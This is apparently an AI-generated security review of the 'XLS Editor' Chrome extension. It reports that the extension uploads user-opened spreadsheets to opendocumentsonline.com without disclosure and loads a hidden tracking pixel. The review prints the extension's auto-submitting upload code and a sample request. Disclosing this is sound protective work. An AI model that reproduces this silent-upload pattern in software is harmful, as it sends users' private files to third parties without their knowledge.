Is XLS Editor for Google Chrome™ safe?
XLS Editor is high risk. Opening a spreadsheet in XLS Editor immediately POSTs the file to www.opendocumentsonline.com, before any preview. This differs from the publisher domain (freebusinessapps.net) and isn't disclosed. A tracking pixel loads on every UI open.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
User-Selected Files Sent to Third-Party Server on File Open
Opening a spreadsheet in XLS Editor immediately POSTs the file to www.opendocumentsonline.com, before any preview.
This differs from the publisher domain (freebusinessapps.net) and isn't disclosed.
A tracking pixel loads on every UI open.
You click 'Open Spreadsheet File' and select a local file in the file picker.
The extension immediately POSTs the entire file to https://www.opendocumentsonline.com/upload via a multipart/form-data HTTP request.
No confirmation prompt is shown. The upload occurs automatically as soon as the file is selected.
| Content-Type | multipart/form-data; boundary=----WebKitFormBoundaryXyz1234AbCd |
------WebKitFormBoundaryXyz1234AbCd Content-Disposition: form-data; name="file"; filename="example.xls" Content-Type: application/vnd.ms-excel [full file contents — dynamic analysis sent a 512-byte planted marker value; body confirmed present by dynamic analysis, observed requests] ------WebKitFormBoundaryXyz1234AbCd--
File upload form construction and submission in document.js
(function () {
var panel = $("#open-documents-online");
var form = $("<form></form>");
form.attr("action", "https://www.opendocumentsonline.com/upload")
.attr("method", "POST")
.attr("enctype", "multipart/form-data")
.addClass("convert-form");
var txtFile = $("<input name='file' type='file' style='display: none' />")
form.append(txtFile);
// Hidden tracking pixel loaded on every page open
form.append("<img style='display: none' src='https://www.opendocumentsonline.com/pixel.png' />");
panel.on("click", ".btn-open", function () {
panel.find("[name='file']").click();
});
// Submits immediately on file selection — no confirmation
txtFile.change(function () {
if (txtFile[0].files.length) {
form.submit();
}
});
})();- www.opendocumentsonline.com
Receives uploaded file contents via multipart POST on every file-open action, plus a tracking pixel GET on every UI page load. Distinct from publisher domain freebusinessapps.net.
The extension's homepage URL is `https://xls-editor-welcome.freebusinessapps.net/`. The upload and tracking destination `opendocumentsonline.com` appears to be operated by the same publisher based on co-branding, but it is a distinct registered domain. The Chrome Web Store listing for the extension does not name `opendocumentsonline.com` as an upload destination.